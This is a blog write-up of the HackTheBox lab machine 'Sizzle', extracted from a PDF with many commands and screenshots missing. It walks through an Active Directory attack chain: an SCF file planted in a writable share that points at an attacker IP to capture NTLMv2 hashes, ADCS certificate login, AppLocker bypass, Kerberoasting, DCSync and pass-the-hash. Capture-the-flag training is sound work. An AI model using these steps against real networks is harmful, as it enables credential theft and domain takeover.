HTB Writeup Windows Insane Sizzle OmniSl4sh S Blog PDF
HTB Writeup Windows Insane Sizzle OmniSl4sh S Blog PDF
OmniSl4sh's Blog
Summary
A Windows Domain Controller machine. We find an SMB share containing a writable folder called
Public . We place an SCF file there that directs the visiting user’s computer to our listening
responder where we capture his NTLMv2 hash.
After cracking it, we get the password for the amanda user which we use to enumerate the domain
using BloodHound .
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 1/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
Noticing that our user has PowerShell Remoting capabilities, we try to gain access but are faced
with a strange authentication error.
Upon inspecting the functionality of the Evil-Winrm tool, we find that we can use a certificate for
logging in.
We create a Certificate Signing Request using openssl and get it signed from the ADCS Web
Interface found on the domain controller.
Using evil-winrm ‘s ability to authenticate using SSL certificates, we successfully achieve code
execution.
Looking back at the output of BloodHound showed a kerberoastable user called mrlky that has
dangerous rights abusable for a DCSync attack.
We decide to use Rubeus.exe to do the job but can’t execute it due to Applocker restrictions.
We bypass by moving it to the Windows temp folder and are faced with another error requiring us
to authenticate to the network.
We add amanda ’s credentials as flags to the Rubeus tool and manage to kerberoast mrkly .
We crack his TGS hash and are able to get the password. We then proceed to DCSync and obtain
the NTLM hash for the administrator account and PTH to gain complete access.
Bonus: Bypassing PowerShell Constrained Language Mode, dodging Applocker, authenticating to
the network and Kerberoasting all in a one-liner and without touching disk.
Joke Section: Pwning the box with ZeroLogon XD
Nmap
The nmap output gives some good information:
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 3/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
49686/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49688/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
49713/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows
Anonymous FTP
No files were there, and we’re not granted write access either. So we move on.
HTTP/HTTPs
The home page just shows a GIF of bacon sizzling…
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 4/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
Spidering with gobuster shows an interesting directory /certsrv which indicates that the ADCS
role is installed on this server. We note this down.
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 5/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
LDAP
The output of ldapsearch didn’t show much information.
(I grepped out some unnecessary lines from the output to make it smaller.)
SMB
Enumerating SMB with crackmapexec reveals that we have read access to the Department
Shares folder.
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 6/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
the Users folder contained some usernames which we save in a list for later use:
We find some files in the ZZ_ARCHIVE folder but they dont have any content:
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 7/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
we loop over the files using the file command and grep out any empty hex line with xxd to find
nothing there as well.
Since we were nearing a dead end with our enumeration, we’re going to use a simple bash script to
check for write access in the SMB share.
#!/bin/bash
list=$(find /mnt -type d)
for d in $list
do
touch $d/just-a-test-dir 2>/dev/null
if [ $? -eq 0 ]
then
echo -e "\e[32m[+] $d is writable\e[0m"
rm $d/just-a-test-dir
else
echo -e "\e[31m[-] $d is not writable\e[0m"
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 8/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
fi
done
1. it does a find on the mount point with the -type d flag to get only directories.
2. then attempts to create a file in each one using touch
3. It prints out if the folder is writable or not
4. then clears the test file if the folder is writable.
The results show that we have write access in both the Public and ZZ_ARCHIVE folders.
Having this access would allow us to plant a malicious type of file that would enable us to steal
NTLMv2 hashes from users who access these locations.
[Shell]
Command=2
IconFile=\\10.10.16.7\share\pwn.ico
[Taskbar]
Command=ToggleDesktop
Essentially, this tells File Explorer to fetch the icon for the .scf file from a network share (our kali box
in this case).
We’re going to fire up responder making sure the Responder.conf file has the SMB server set to
ON .
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 9/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
at this moment, I wasn’t quite sure what to do. So I moved on to try other things.
Viewing the amanda user, I saw she did have PowerShell Remoting capability when I ran the
Shortest Path from Owned Principles query.
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 10/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
Before visiting the ADCS page, we would need to get a key and a CSR. This can be done using
openssl .
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 11/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 12/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 13/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
Having done all this, we just need to hook both the .key file and the .cer we got from ADCS to
evil-winrm while using the -S flag for SSL.
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 14/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
Note: the PEM pass phrase is the one you were asked to enter when generating the private key and
CSR with openssl
That user is very special since he has the 2 required rights to perform a DCSync attack:
1. GetChanges
2. GetChangesAll
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 15/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
Hence, we need to kerberoast this guy and get his TGS hash :D
In order to carry out this attack, we would need to authenticate to the network.
This can be done using the /creduser , /credpassword and /domain switches in Rubeus.exe .
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 16/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
We’re good! :D
DCSync
Having the password for mrkly : Football#7 , we’re going to use Impacket ’s secretsdump.py
python script to do a DCSync attack:
and follow up with psexec.py for a quick Pass-The-Hash attack to get code execution as NT
Authority\System :
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 17/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
I wanted to get a nishang shell but couldn’t do the IEX command ( Invoke-Expression ). This was
because of PowerShell’s Contrained Language Mode.
Contrained Language Mode disables a few PowerShell commands that can be dangerous.
This is to:
we will use the -Credential parameter with Start-Process to create the Network Authentication
needed for the attack to succeed.
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 18/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
OR…
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 19/20
4/27/23, 7:03 PM HTB Writeup [Windows - Insane] - Sizzle | OmniSl4sh’s Blog
https://omnisl4sh.github.io/2022/05/02/Sizzle.html 20/20